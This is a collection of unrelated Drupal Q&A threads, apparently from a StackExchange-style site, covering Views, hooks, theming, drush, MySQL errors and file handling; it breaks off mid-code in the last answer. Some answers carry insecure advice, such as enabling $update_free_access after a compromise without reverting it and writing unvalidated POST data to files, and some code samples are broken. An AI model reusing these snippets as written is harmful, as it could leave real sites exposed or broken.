Paging the list of comments, and getting the comment count I am getting all the comments listed in the same page. How can I do the paging concept for comments?
How do I get the comment count?

Paging on comments is provided in Drupal Core without any contribute modules.

If you go to your content type configuration screen:

D6 Path: admin/content/node-type/[node-type-name]
D7 Path: admin/structure/types/manage/[node-type-name]

You will see there's a Comment field-set/tab(d7) with some options. The option you want to check out is the comments per page setting. Select the number you'll like for when a page should break and save your settings. Once you're comment have pass that threshold you will see a pager for your comments.

Now for the comment counts there a variable available to you in both Drupal 6 and 7 in the node template. The name of that variable is $comment_count.


Allow user to completely delete account (and data), not just cancel it I want users to provide option to cancel their own account. I know this is supported in D7, and I am using that only. But I want it in a manner that, when a user selects to cancel that account, all of his content and comments should be deleted. Right now, it is just blocking the user account, and keeping his all content.

If I grant user the permission "Select method for cancelling own account", then he may selects the option to retain his content upon cancellation, which I don't want.

So is there any way that when user cancels his account, cancellation method will delete the user account completely, without asking user to select from options.

-- Thanks for your time.

I found it myself. It is under: Configuration-> Account Settings-> When cancelling a user account section.


hook_menu() doesn't work as expected. How can I fix that? hook_menu() contains the following code.

//案件 >　インポート設定 > GMC_Subaccountの追加
$items[FEED_MANAGER_MENU_PATH.'/import/%import_id/gmc_subaccount/add'] = array(
    'title' => 'GMCサブアカウントの追加',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('feed_manager_import_gmc_subaccount_edit', 2),
    'access arguments' => array('feed import gmc_subaccount edit'),
    'type' => MENU_LOCAL_ACTION,
    'file' => 'feed_manager.import_gmc_subaccount.inc',
);
//案件 >　インポート設定 > GMC_Subaccountの編集
$items[FEED_MANAGER_MENU_PATH.'/import/%import_id/gmc_subaccount/%store_id'] = array(
    'title' => 'GMCサブアカウントの編集',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('feed_manager_import_gmc_subaccount_edit', 2, 4),
    'access arguments' => array('feed import gmc_subaccount edit'),
    'type' => MENU_CALLBACK,
    'file' => 'feed_manager.import_gmc_subaccount.inc',
);

When I visit /import/%import_id/gmc_subaccount/%store_id, it does't show the edit page, but the list page, which is defined from the following code.

//案件 >　インポート設定 > GMC_Subaccount_設定
$items[FEED_MANAGER_MENU_PATH.'/import/%import_id/gmc_subaccount'] = array(
    'title' => 'GMCサブアカウント',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('feed_manager_import_gmc_subaccount_list', 2),
    'access arguments' => array('feed import gmc_subaccount edit'),
    'type' => MENU_CALLBACK,
    'file' => 'feed_manager.import_gmc_subaccount.inc',
);

The code I use to create the link to the edit page is the  following.

$row['data'][] = l(t('Edit'), FEED_MANAGER_MENU_PATH.'/import/'.$data->import_id.'/gmc_subaccount/'.$data->store_id.'/edit');

How can I fix the fact that link shows the wrong page?

It was very simple problem-

I just added following line to my .module file-

function store_id_to_arg($args){
if(empty($args)){ drupal_goto('<front>'); }
return $args;
}

Thanks for your help.


Displaying Profile2 edit page with Panels I have a profile2 edit page (Drupal 7) found at user/*/edit/main. It has several fields that the user can edit.

As it stands, all the fields are displayed one on top of the other in one column and that makes a rather long list and lots of scrolling.

I would like to list those fields in an (imaginary) table or grid of 2 or 3 columns.

I tried Display Suite, but it's not compatible.

I am trying Panels but I can't get it to work. I use the user profile template of Page Manager (/user/%user.) The variant's selection rule is Path: user/*/edit/main, no context and the "Profile2 from user" relationship.

I have found all my fields and I have organized them in two columns (2 regions side by side) in the panel content.

The variant is enabled but it doesn't work. There is no change whatsoever when I visit the page (all fields still listed in one column.)

Am I doing something wrong or is Profile2 not compatible with Panels (like with Display Suite?)

Any and all suggestions or workaround would be greatly appreciated.

Thanks. :)

I guess panel and display suite both dont provide this use case. you could use hook_theme and then render function. Example code

   function modulename_theme(){

        return array
        (
                    'user_profile_form' => array
            (
                'render element' => 'form'
            ),
        );
    }
function theme_user_register_form($variables){
    $form = $variables['form'];
    $output='
';
    if(isset($form['profile_main'])){
     $output.= drupal_render($form['profile_main']['field_profile_main_fname']);
     $output.=  drupal_render($form['profile_main']['field_profile_main_lname']);
     $output.= drupal_render( $form['profile_main']['field_profile_main_phone']);

}
    $output.="
";
$output='
';
if(isset($form['profile_main'])){
    $output.= drupal_render( $form['profile_main']['field_profile_main_gender']);
     $output.= drupal_render( $form['profile_main']['field_profile_main_dob']);
 }
}
    $output.="
";
    $output.= drupal_render_children( $form);
    return $output;
}

Then on css you could add float left and width on divs to make it 2 columns


Setting a default value in views jump menu d7 I followed a tutorial on how to use the jump menu functionality in views drupal 7 link http://dev.nodeone.se/node/771,it was successful.
i have one problem though,I need to show a default value(for example a taxonomy term by default) if nothing is selected instead of the  drupal default to -select- .
i have opened the file in views/plugins/views_plugin_style_jump_menu.inc and found this code,it looks like here is where i am supposed to change. but i just dont understand this code. Any help will be appreciated

function option_definition() {
    $options = parent::option_definition();
    $options['hide'] = array('default' => FALSE);
    $options['path'] = array('default' => '');
    $options['text'] = array('default' => 'Go', 'translatable' => TRUE);
    $options['choose'] = array('default' => '- Choose -', 'translatable' => TRUE);
    $options['default_value'] = array('default' => FALSE);

    return $options;
  }
?>

I figured it out, just went to views admin, deleted the -select-, reordered my taxonomy terms and bum!! it worked! am so dumb.


How to move D7 from /sites/sitename to /site/default? I was successful at this once and now I forgot how I did it.  I'm copying a site's files from my local computer to a host GoDaddy.  What I'm doing is installing D7 at the host's control panel, updating the site to D7.29 then copying files from my local D7.29 install to the web and then importing the database.  It worked with no problems once a month ago.  Now no luck.  The best I can do is get the site to appear to be all up and running, all CSS works, can even log in and manage modules if desired, but NO pictures show up.  It's as if the folder structure is not known for those files.  The reason I believe is that I'm copying from sites/sitename (all the local site specific files) (and then fixing settings.php of course) and then since Drupal on GoDaddy only seems to want to work with /sites/default I'm copying the files to that location, default.  Like I said I did it once no problem, now not so...  Beautiful site with all CSS and content but no pix.  I've even tried this locally and it doesn't work, same problem, wondering what to fix.

Newbie
Dave N

Adjust the path where your public files are stored - here: admin/config/media/file-system (Configuration -> File system -> Public file system path) - also review the temporary directory.


Appending a hidden input value to a textarea value? So basically what I need to do is append a hidden input value to the text-area without overriding the original texarea value on submit. What am I doing wrong? This is in the template.tpl file.

function hook_form_alter(&$form, &$form_state, $form_id) {
     if($form_id){
         $sCampaign = $form['submitted']['campaignstring']['#value'];//hidden value
         $sComments = $form['submitted']['Comments']['#value'];//comments textarea
         $sComments = $sCampaign."-".$sComments; // Appending them.

    }

}

I also tried:

function hook_form_alter(&$form, &$form_state, $form_id) {
         if($form_id){
             $form['#submit'][] = 'submit_string';
           }
    }

function submit_string($form, &$form_state){
    $sCampaign = $form['submitted']['campaignstring']['#value'];
    $sComments = $form['submitted']['Comments']['#value'];
    $sComments = $sCampaign."-".$sComments;

}

Newer try:

function THEME_form_alter(&$form, &$form_state, $form_id) {
//Appending Campaign String to comments
$form['submitted']['Comments']['#value'] = array('#value' => $form['submitted']['Comments']['#default_value'] .'/'. $form['submitted']['campaignstring']['#value'],
                );
}

function submitHandler($form, &$form_state){
    $campaingString = $form_state['values']['campaignstring'];
    $comments = $form_state['values']['Comments'];
    $comments = $comments."/////".$campaingString;

    drupal_set_message('Submitted');
    drupal_set_message($form_state['values']);
}

Here is a little example (Additional information):

function my_form($form, &$form_state) {
  $form['name'] = array(
    '#title' > 'Name',
    '#type' => 'textfield'
  );

  $form['sec_name'] = array(
    '#title' > 'last name',
    '#type' => 'textfield'
  );

  $form['submit'] = array(
    '#value' > 'Run',
    '#type' => 'submit'
  );

  return $form;
}

function my_form_submit($form, &$form_state) {
  $f_name = $form_state['values']['name'];
  $s_name = $form_state['values']['sec_name'];

  drupal_set_message('Hello ' . $f_name . ' ' . $s_name);
}


Change the default timezone variable_get from views What I want is to change the way drupal views get the site's timezone setting. I want to set it manually in code.

Searching through the files I noticed that the function "views_get_timezone()" in sites/all/modules/views/includes/handlers.inc @1182 (drupal 7) is responsible for getting the timezone and setting the session.time_zone in mysql, but when I change it nothing happens.

Any suggestion anyone for this or any similar solution? I just want to make a site with multiple timezones for anonymous users so I want to change the session.time_zone in mysql according the user location.

Thanks

If you want to change the time zone, the option is available in admin menu in:

admin/settings/date-time in Drupal 6
admin/config/regional/settings in Drupal 7

And it can be defined in settings.php as date_default_timezone

It can be accessed in Database in variables table too

SELECT *  FROM variable WHERE name LIKE  '%timezone%'


How to filter filenames in views based on a match to currently logged username? I am quite novice to Drupal. I am trying to figure out how to create views listing files such that only those files are listed where filename contains currently logged username?

If you could use tokens in views filters you could do something like File: name ... contains any word ... [user:name] and that would end up in the sql as file_managed.filename LIKE '%username%' which would be cool. But you can't do that, to my knowledge.

You might achieve what you want using contextual filters having PHP code in both contextual filter and validator, maybe.

That said, depending on how much files and users you have and so on, it might be easier to tag the files with taxonomy terms. That way user wanting to change their username, eg. when they get married, won't brake your system. Also usernames having spaces, underscores, apostrophies etc. wouldn't be an issue.

Edit:

What do you know, this can be done with contextual filters! I don't know how practical or robust or performant this is but here goes:

1) Add a contextual filter of Global: null.
2) Provide some default value, doesn't matter what. For example Fixed value -> 'blaa'.
3) Specify validation criteria -> PHP code

global $user;

$view->query->where = array(
    1 => array(
        'conditions' => array(
            0 => array(
                'field' => 'file_managed.filename',
                'value' => '%' . $user->name . '%',
                'operator' => 'LIKE',
            )
        ),
        'args' => array(),
        'type' => 'AND',
    )
);
return true;

I figured this out with dpm($view). If you have other filters in the Filter criteria, this code will have to take that into account. Tampering with the $view like this is not really future proof, but theoretically possible.


Login 403. Hit with SA-CORE-2014-005 I don't know why, but I can't find a straight answer to this anywhere. I have a site that was by the vulnerability patched by SA-CORE-2014-005. I went into the database and deleted the user and applied the update via ftp, but I still can't log in. /user gives me a 403. How do I fix this?

Okay, here is how I did it. Hopefully it will help someone else. After uploading the new drupal core, I went to the settings.php and set the $update_free_access = TRUE;. This will allow you to apply the update without being logged in by going to site.com/update.php.

Once that was done, in the database, I truncated the cache tables and I was able to log in and fix everything.

Hope this helps.


Is there a way to use wildcards in block restrictions first? I know that for restricting blocks to only certain pages you can do a path such as:
blog/*

I'd like to know if anyone knows a way to do a path such as:
*/blog

Basically, due to views not being able to use contextual links as the first URL argument (www.example.com/%/events is not a valid URL but www.example.com/events/% is) - I would like to be able to have an * first since I plan on having multiple contextual views that would have different first terms, but the same second term.  It would just allow me to write one line of restrictions vs. a line or 5 for each view.

Anyone know if this is possible in a Drupal 7 environment?

Thanks!

You can use the Rules block visibility module for this. Here is a quote from its project page:

  The Rules block visibility module allows Rules components to be used to control block visibility. This provides Drupal administrators and developers extreme flexibility in controlling when blocks should be displayed on their websites, in addition to the default visibility options provided by Drupal.

  The general idea is that if you can do it with Rules, you can use it to control block visibility, so the possibilities are limitless.

  Need to show a block only for users registered more than a month ago?

  Perhaps you have a block that must be shown only between 8am-5pm on weekdays?

  What about displaying or hiding a block based on current weather conditions?

  All of this can be done by using Rules block visibility.

With that, and as per the "if you can do it with Rules, you can use it to control block visibility" above, you've reduced your question to making Rules "check the path of the current page" (so that the block is only shown on those pages that have a path ending with "/blog").

For an illustration of how to use this module, refer to my answer to "How to stop a Views block from displaying to administrators, such as user/1?". It includes a Rules Component (in Rules export format), which you should replace by this variation of it to make it match your specific question):

{ "rules_block_visibility_show_on_selected_blog_pages" : {
    "LABEL" : "Show block on selected blog pages",
    "PLUGIN" : "rule",
    "OWNER" : "rules",
    "REQUIRES" : [ "rules" ],
    "USES VARIABLES" : {
      "module" : { "label" : "Module", "type" : "text" },
      "delta" : { "label" : "Delta", "type" : "text" },
      "result" : { "label" : "Result", "type" : "boolean", "parameter" : false }
    },
    "IF" : [
      { "text_matches" : {
          "text" : [ "site:current-page:path" ],
          "match" : "\/blog",
          "operation" : "ends"
        }
      }
    ],
    "DO" : [ { "data_set" : { "data" : [ "result" ], "value" : "1" } } ],
    "PROVIDES VARIABLES" : [ "result" ]
  }
}


Custom preview page on Webform I want to theming only preview pages on Webform. Is it possible?

I find two solution links, please check them:

Sol-1: https://www.drupal.org/node/1430034 (Most relevant solution)

Sol-2: How to theme a webform - D7 (It another solution to theme webform with another tpl name: webform-form.tpl.php. Here is the link which provide tpl code.)

I guess you need to use node--webform.tpl.php and also add preprocessor in template.php.

function themeName_preprocess_page(&$vars, $hook) {
  if (isset($vars['node'])) {
    $vars['theme_hook_suggestions'][] = 'page__'. $vars['node']->type;
  }
}

And when you create tpl file you can check preview variable to check and theme accordingly.

If this doesn't help try second solution.

See similar issue here.


How can I automatically add taxonomy terms to a page's  keywords in the HTML? When Taxonomy is used for "free tagging", it basically becomes keywords for the content. From an SEO perspective, it would be great to automatically include these taxonomy terms in the  HTML tag for keywords, letting users help drive your SEO, or giving a non-technical site maintainer the ability to easily edit the keywords used on any given node. How can I do this in Drupal (both 6 and 7)

I think you are looking for the Drupal 6 Nodewords module.

The Meta tags module is/was supposed to be the new Drupal 7 version, but it appears to be on hiatus. The Meta tags quick module, however, is an option (currently in dev).

This helpful post has more details.


Cannot configure settings for menu breadcrumbs I installed and enabled the Menu Breadcrumb module, however I cannot access or find the configuration settings page (even when I click the configure link on the modules page). I'm currently using the STARTERKIT from Zen theme.

Is there anything else I need to enable to get it to work?

You should be able to find it at /admin/config/user-interface/menu-breadcrumb.

If nothing appears then clear your menu caches and try again, but it's definitely there in the code.

If that doesn't fix it, then this is a problem for the issue queue I'm afraid.


How to logout a specific user programatically? I need to logout a specific user programmatically whose uid is known to me.

I think I need to destroy the session. Is there any table in drupal store that value?

Use drupal_session_destroy_uid function.

  Ends a specific user's session(s).

Example:

drupal_session_destroy_uid($uid_to_logout);


Exportable and Fieldable Blocks in Drupal 7 I have a project where I have two competing requirements for blocks.

First, I'd like to have blocks be fieldable. There are blocks on the site that contain static content but should have the block title as a link, and have an icon associated with the block.

Secondly, although these blocks are not "configuration" per-se, the client would certainly say that their site was broken if they didn't exist. Because of this, I'd like to be able to export the blocks using Features so that they can be included in version control.

I've looked into both the Bean and Boxes modules. Bean supports making the blocks fieldable by defining new block types. Unfortunately, while the block type is exportable with Bean, the block itself isn't.

I've also looked into Boxes. Boxes supports exporting blocks, but isn't fieldable by itself. If I add the Entity Box module to Box, I get fieldable boxes, but those new boxes aren't exportable.

Help! Is it even possible to do what I'm trying to do here? Is there some way other than creating Features exportables to easily synchronize small pieces of content so that all of the developers are working on a consistent version of the site?

The answer is simpler than you could possibly imagine: check out the Bean module, it does exactly what you want! :)


Matching user accounts in views with taxonomy In user accounts we have two Term fields that use the same taxonomy vocabulary. For example, the user profile has I need and a I have fields.

For example User A has a blue crayon but wants a red one.

- I have
-- X Blue Crayon
-- - Red Crayon
-- - Green Crayon
- I want
-- - Blue Crayon
-- X Red Crayon
-- - Green Crayon

I would like to craft a view that, based on User A's desire marked want, finds all users that have Red Crayon they want to lend.

Ideally, I'd like to auto populate this contextual filter with what the logged in user has specified. For example in this situation, I want to populate When the filter value is not in the URL's Provide Default Value field with the term_id of Red Crayon. Thus, listing everyone with ready to lend a red crayon.

From the create view wizard, you need to choose, show "Users."

In the filters section you'll create a filter for "I want" whose value is set via PHP to grab the current users choice for "I have." You'll need the Views PHP module for this.


Shipping line items not displaying with [commerce-order:line-items] I have Commerce and Shipping and Flat Rate installed and working correctly. Shipping is added to an Order and charged to the customer.

But when I go to display the shipping line items, e.g. in a order receipt email, they are missing.

My Rule uses this:

Order Details:
[commerce-order:commerce_line_items]

Total Price: [commerce-order:commerce_order_total]

This correctly displays each product line item, and the order total, including shipping line items, but does not display the shipping line items.

I read about a filter in the View at admin/structure/views/view/commerce_line_item_table/edit/default and I see that it is set to only display product line items. But I don't want to mess with that View unless I know what I am doing.

Can I Add a new View display? If so, which kind (Data export?) How to call that display in my Rule?

Thank you.

If you enable the Token module (maybe you already have?), you are given a new view mode on all fieldable entity types called Tokens. You need to enable this in the Custom display settings fieldset on the Manage display page for order types (found under Administration > Store > Configuration > Order settings). Once you've done this, you'll be able to choose any eligible View you want for rendering the line item field's tokens, so if you add another display to the default View and remove that line item type filter, you can use that just for rendering the token.

You can read more w/ screenshots here: https://www.drupal.org/node/1299662


Alternative to creating large number of fields via UI for a content type We need to create a content type with large number of fields(50+). Adding fields one by one via UI is one option but it seems unnecessary that so many tables get created when adding fields via UI.

Other option that I tried was Matrix field module which allows inclusion of multiple fields with widget options for select, checkbox, text etc. However it does have few issues with display.

The other alternative is the TableField module. But then it only provides text options.

Are there any other modules that allow creation of multiple fields without the overhead of creating multiple tables at the same time.

Note: A webform cannot be used in this case due to design considerations.

There are two ways you can accomplish this:

Write a custom field, with the 50 necessary fields compounded into the field's columns (this will create 50 columns in the field data and revision tables, but obviously you've got to store your data somewhere). There's an excellent example of writing a custom field in the Examples module.
Write a custom entity. This is probably more work, but using this method you can make your 50 fields entity properties (rather than fields in the Drupal sense), and the data will all be stored in the base table for the entity. Again, that's a large-ish number of cols for a table, but your data needs to live somewhere.

Both methods give you the flexibility to create the input forms yourself, so either will let you achieve whatever UI you think is most appropriate for inputting that amount of data in one go.

Note that using the standard field API is considered best practice, which is probably why you're struggling to find modules that do it differently.


PDOException: SQLSTATE[42000]: Syntax error or access violation PDOException: SQLSTATE[42000]: Syntax error or access violation: 1118
  Row size too large. The maximum row size for the used table type, not
  counting BLOBs, is 8126. You have to change some columns to TEXT or
  BLOBs:

Database storage Engine : Innodb

Do we have to switch over for MyIsam?

Sounds like a case of InnoDB File Format issues.
SUGGESTION #1
If you are not using innodb_file_per_table, you may need to export all the data with mysqldump, delete ibdata and ib_logilfe0 and ib_logilfe0. Then, reimport that data. I wrote a detailed step-by-step process for this 2 years ago.
SUGGESTION #2
Increase the size of your InnoDB Log Files. Each file (ib_logfile0,ib_logfile1) needs to be more than 10 times as big as the biggest BLOB in your dataset:
Here are several links discussing this scenario

https://serverfault.com/q/293406/69271
https://serverfault.com/a/3979/69271
http://www.mysqlperformanceblog.com/2008/11/21/how-to-calculate-a-good-innodb-log-file-size/
http://bugs.mysql.com/bug.php?id=39168

MySQL's maximum size of innodb_log_file_size for a log group of of 2 files is 2047M. Should you ever need InnoDB Log Files that can exceed the 4GB combined barrier, you must upgrade to Percona Server.
I also wrote a detailed step-by-step process for resizing InnoDB Log Files.
SUGGESTION #3 (OPTIONAL)
You may want to switch the innodb_file_format to Barracuda. Bill Karwin's answer in the DBA StackExchange and links thereof explains why.


How to choose language for date field in views rss feed? I am maintaining a bilingual Drupal 6 site with German being default language and English as secondary. The site offers an RSS feed of German articles. This RSS feed is generated with Views and Views RSS. One of the displayed fields in the feed is the creation date which is in custom format "D, d M Y H:i:s O" for rss clients. The date is always shown in German, i.e. "Mi, 08 Mär 2012 13:44:27 +0200" but I'd like to have this field using English standard, i.e. "Wed, 08 Mar 2012 13:44:27 +0200".

Any idea how I could achieve that?

The feed url is sth. like domain.com/feed (German). If I use the English url domain.com/en/feed, all the date fields are in English format but then the content urls also link to the English version (e.g. domain.com/en/node/123 instead of domain.com/clean-german-url).

Thanks in advance,
Paul

I found an even easier solution, with a Custom date format simply use r, which is RFC 2822


How to properly render a Calendar view title in a month display? I have a calendar view set up as shown in these screen shots. Everything is working nicely, except the title. I'd like the title to be only the month, not the first of the month.

(larger)

That is, instead of the below screen shot reading December 1, 2014, I'd like it to render only December 2014 (omitting the "1st").

(larger)

Is there an answer that I'm missing in the Add Header area?

(larger)

Update: Contextual Filter

There is a bug in the date module that causes this issue. I'm not sure if the latest version of the module resolves it or not. If it doesn't, then the workaround in #20 in the thread at https://www.drupal.org/node/2294973 will fix the issue.


Views-How do i redirect to the same page after saving the comment? Sorry Guys , i have an easy question!

i used views to create a page that contains a kind of content with comment!

the link is "http://mydomain/testpage"

but when i write the comment on the content which is displayed by the view, the system will go to the "http://mydomain/node/%"

how can i stay at the same page after i writting the comment in the view?

i think i fix the problem, i just use the page management and change the setting of the node view,give a content type variant and then user http response.

Problem fixed ~ if you have the same question, take a try!


Users cannot login after Upgrade to 7 I have upgraded a D6 to D7 site on my localhost. After upgrade I can login using admin credentials as per usual. I have disabled Clean URLs and I see that users are in detabase. Actually all works well however when I try to log in to a user account, I get:

The website encountered an unexpected error. Please try again later

I get this error also, when I create a user from admin panel.
I tested a lot of suggestions but none helped. So appreciate your hints.

To figure out what was the problem, thanks to this post I opened include/error.inc

and replaced

print theme('maintenance_page', array('content' => t('The website encountered an unexpected error. Please try again later.')));

with

print theme('maintenance_page', array('content' => t('The website encountered an unexpected error. Please try again later.'.$fatal.' '.var_export($error,true))));

The new command prints out some useful info that can be used to debug. In my case, it turned out that messaging module caused the problem. I disabled messaging, and could login afterwards.

Note: before going to production, switch back to original error.inc, since the error outputs can be a gift to attackers.


Why is arg() failing to get the router object on pages with aliased URLs? So I posted this question about how to get NID of current node and I'm assured that arg() should work to return the router item for the current page, regardless of aliasing. However, it doesn't work.

The relevant snippet is

if(arg(0)=='node' && is_numeric(arg(1))){
   $nid = arg(1);
   dsm($nid);
}

I've also tried

$load = node_load();
$dsm($load);

and

$item = menu_get_item();
dsm ($item);

and

$node = menu_get_object();
dsm($node);

For all of these methods, they work when I edit the page (and thus make the URL displayed become /node/%/edit) and when I just navigate to /node/% (where % is the NID) but they display either nothing or (in the case of arg()) only the alias (e.g. "about-our-company for the path alias /about-our-company).

How can I reliably get the NID of the current node?

arg() is intended to work with system paths. if you are viewing you node page with system path (node/#) or by alias then arg(1) must return nid of the node.

How are you defining your alias? Are you using path module interface?
Perhaps the alias is a result of a custom menu hook by some module, rendering a node by some arbitrary logic.

I would also like to share a hack to overcome this issue if you get alias in arg() and this alias is truly defined by path module directly on node then drupal_lookup_path('source', 'your/node/alias') will return the system path of your node e.g. node/#


Multi-site clear cache We want to clear the multiple sites cache from one site, currently we have multi-site configuration. Is there any module?

You can easily configure drush aliases for this.

Having properly configured drush brings so many benefits, especially if you work with multiple environnements for your sites.

As an example, say you have aliases defined for example.com as follows:,

@example.local, @example.staging, @example.prod

See a status of all 3 sites:

drush @example st

Clear the cache on local env:

drush @example.local cc all

Dump production database and load it into local:

drush @example.prod sqldump | drush @example.dev sqlc

Anyways, you get the idea. Packing your drush.rc file with your project in git (shove it in /sites/all/drush/drushrc.php ) will allow anyone working on those projects to have those aliases fully defined on every code checkout.
Happy codings, cheers!

Lots of examples on drush aliases via google, here is a pretty well written one: https://www.monarchdigital.com/blog/2012-10-10/drush-aliases


Add priority headers I realize priority headers are something of the past for the most part, but I was wondering if it's possible to add additional headers (eg. Priority Flag) to an email sent from Webform (Drupal 8 version)?

Similar to this question - https://www.drupal.org/forum/support/post-installation/2013-08-29/adding-priority-flag-to-email-sent-by-webform-module

I understand this is possible with a remote post, but this is strictly for sending an email.

Any help is apprciated.

Just for context, here is how it can be set strictly in a PHP email.

$headers = "MIME-Version: 1.0\n" ;
$headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";
$headers .= "X-Priority: 1 (Highest)\n";
$headers .= "X-MSMail-Priority: High\n";
$headers .= "Importance: High\n";

$to = 'bob@email.com';
$subject = 'High Importance Email Testing';
$message = 'Testing email importance, please ignore';
$status   = mail($to, $subject, $message,$headers);

I managed to get the module working as I'd like, thanks to @jrockowitz

Here is the final module

<?php
/**
* implements hook_mail_alter()
*/
function priority_headers_mail_alter(&$message)
{
    // only alter webforms
   if (strpos($message['id'], 'webform_email_web_requests') === 0)
   {
       //Get webform submission
       $webform_submission = $message['params']['webform_submission'];

       //Get the value from the priority field
       $priority = $webform_submission->getElementData('priority');

       if($priority == 'Critical')
       {
           /*setting priority headers*/
           $message['headers']['X-Priority'] = '1 (Highest)';
           $message['headers']['X-MSMail-Priority'] = 'High';
           $message['headers']['Importance'] = 'High';
       }
   }
}

There is a hook for that...

hook_mail_alter()

For an example see webform_mail_alter()


How to index created field in baseFieldDefinition? because we have a lot of query on created date field on our custom Entity, we looking for a solution to index 'created' field index in Mysql.

this is our baseFieldDefinition :

public static function baseFieldDefinitions(EntityTypeInterface $entity_type) {
    $fields = parent::baseFieldDefinitions($entity_type);

$fields['product_id'] = BaseFieldDefinition::create('entity_reference')
  ->setLabel(t('Product Category'))
  ->setDescription(t('Product Category ref'))
  ->setRevisionable(FALSE)
  ->setSetting('target_type', 'taxonomy_term');

$fields['site_id'] = BaseFieldDefinition::create('entity_reference')
  ->setLabel(t('Site ID Ref'))
  ->setDescription(t('Site Category ref'))
  ->setRevisionable(FALSE)
  ->setSetting('target_type', 'taxonomy_term');

$fields['price'] = BaseFieldDefinition::create('integer')
  ->setLabel(t('Price'))
  ->setDescription(t('The Price of the Crawl entity entity.'))
  ->setDefaultValue(0);

$fields['created'] = BaseFieldDefinition::create('created')
  ->setLabel(t('Created'))
  ->setDescription(t('The time that the entity was created.'));

return $fields;

}

is there any setting or method in ContentEntityBase to set a field indexable in Mysql?

NOTE: we can index it with a simple migration in our module installer but first of it I'm curious about it, is there any solution to achieve it in BaseFieldDefinition?

The way to do that at the moment is a custom storage schema handler, see NodeStorageSchema for example:

protected function getEntitySchema(ContentEntityTypeInterface $entity_type, $reset = FALSE) {
  $schema = parent::getEntitySchema($entity_type, $reset);

  $schema['node_field_data']['indexes'] += [
    'node__frontpage' => ['promote', 'status', 'sticky', 'created'],
    'node__title_type' => ['title', ['type', 4]],
  ];

  return $schema;
}

And then you register it with:

"storage_schema" = "Drupal\node\NodeStorageSchema",

as a handler.

To update existing installations, you need to drun drush entup or write an update function.


Omega 4: Export settings to .info I'm sure its a simple question but i cannot find any resource to the solution.

In Omega 4, i keep getting this message "The settings for this theme are currently served from a variable. You might want to export them to your .info file".

So how do i do that?

drush omega-export
drush omega-revert

or

omega-export --revert

See: http://friendlymachine.net/posts/getting-started-omega-4


How to put a condition on a query in my custom module, i am executing a query.

global $user;
$id = $user->uid;
print_r($id);
$query = db_query('SELECT n.nid, c.uid, n.title, f.body_value, fm.uri
FROM challenges c
LEFT JOIN node n ON n.nid = c.cid
LEFT JOIN field_data_body f ON n.nid = f.entity_id
LEFT JOIN field_data_field_challenge_pic fp ON n.nid = fp.entity_id
LEFT JOIN file_managed fm ON fp.field_challenge_pic_fid = fm.fid ');
**// WHERE c.cid = $id ');**

when the where clause is commented out the query runs fine. I check it using:

foreach($query as $q)
{
            print_r($q);
}

But when i add the where clause i get an error: Syntax error or access violation...on the line where i write the where clause. How can i achieve this. Thanks

Clive's comment is right.  You should understand the reasons why, however,  I will give you the short answer ;)

Use db_select()

$query = db_select('challenges', 'c');
$query->fields('c');
$query->condition('c.cid', $id, '=');
$result = $query->execute();


How to output custom field of Content type in page.tpl.php? I want to display a custom field which I created in my custom Drupal theme.

The field I created called "Startnummer" so the machine name of the field (I didn't change it) was created as "field_startnummer".

Furthermore, I found an article of that topic an the answer is to put the following line into my page.tpl.php:

<?php print render($content['field_startnummer']); ?>

Unfortunately, that doesn't work!

The next problem is, I do not know how other people would call that problem, so I can't find any solutions.

Any help?

To output content types fields within a template you'll need to create a specific node.tpl.php for that content type for example node--article.tpl.php and then using the code you already have above should work.


How to add a file lock to all existing files in directory I've just started using file lock to prevent images getting deleted, so we can build up a store of images for use at a later date. I think this module will solve a problem I've had, but only for images uploaded from this point forward.

How can I also apply this protection retrospectively to:

Images already in file fields
Images uploaded by FTP (well, you know, SFTP )

To add a file_lock usage record for all existing files without one:

INSERT INTO file_usage (fid, module, `type`, id, `count`)
SELECT fid, 'file_lock' module, 'module' `type`, 0 id, 1 `count`
FROM file_managed
WHERE status AND NOT EXISTS (
  SELECT id FROM file_usage
  WHERE file_managed.fid = file_usage.fid
        AND `type`='module'
        AND id=0
        AND `module` = 'file_lock'
        AND `count`>0
);

To add a file_lock record for all files in a directory that are NOT registered in the file_managed table

Here I loop through all likely image files in and write them as public:// file_managed records if none exists.

preg_ls is not PHP/Drupal core - nicked it from PHP comment - v useful!
I exclude the styles/ directory which stores the variants made by different
image styles. I also exclude the images/backup/ directory - this is
particular to my needs, but I left the code in as you'll likely have
something to exclude too.
This assumes you have no private:// files and that everything under sites/default/files is to be a public:// file. do not run this as it is if you use private files at all!
It also assumes that on file_save, file_lock will add its own lock (based on your config for file_lock).

And now the code:

$dir = DRUPAL_ROOT . "/sites/default/files/";
foreach (preg_ls($dir, true, '/\.(jpe?g|gif|png|bmp)$/i') as $_) {

  $_ = substr($_, strlen($dir));
  if (preg_match('@^(styles/|images/backup/)@', $_)) {
    continue;
  }

  $uri = "public://$_";
  if (!db_query("SELECT fid FROM {file_managed} WHERE uri = :uri",[':uri' => $uri])->rowCount()) {
    $file = new stdClass();
    $file->fid = NULL;
    $file->uri = $uri;
    $file->filename = drupal_basename($uri);
    $file->filemime = file_get_mimetype($file->uri);
    $file->uid = $user->uid;
    $file->status = FILE_STATUS_PERMANENT;
    file_save($file);
  }
}


Creating Drupal nodes from Javascript (Drupal 7) We have a page inside our Drupal site that contains two canvases (one webGL).  When the user presses the save button, we create a dataURL (about 300kb) and would like to send this png to drupal (from Javascript) to create a Drupal node.  What would be the best way to accomplish this?

Here's a few things you can try. Your scenario may require customizations or other workarounds.

First, make a content type with an image field.
 Second, in hook_menu, register a path and callback and post the image with ajax. You will have to post your image data on this url.

function MODULE_menu(){
   $item['path/to/post/node/data'] = array(
       'page callback' => 'your_callback',
       'access arguments' => array('create <type> content'),
   );
}

Then, setup you callback as

function your_callback(){
    // Storing image data to file
    $success = file_put_contents($file_path,  base64_decode($_POST['image_data']));
    // Creating node
    if($success){
      $node = new stdClass();
      $node->type = '<type>';
      node_object_prepare($node);
      $node->title    = 'Node Created Programmatically on ' . date('c');
      $node->language = LANGUAGE_NONE;

      $file_realpath = drupal_realpath($file_path);
      $file = (object) array(
        'uid' => 1,
        'uri' => $file_realpath,
        'filemime' => file_get_mimetype($file_realpath),
        'status' => 1,
      );
      $file = file_copy($file, 'public://');
      // field_image is assumed as the machinename of your image field.
      $node->field_image[$node->language][0] = (array)$file;

      node_save($node);

      drupal_json_output(array('status' => 'OK', 'message' => 'New image node content is created'));
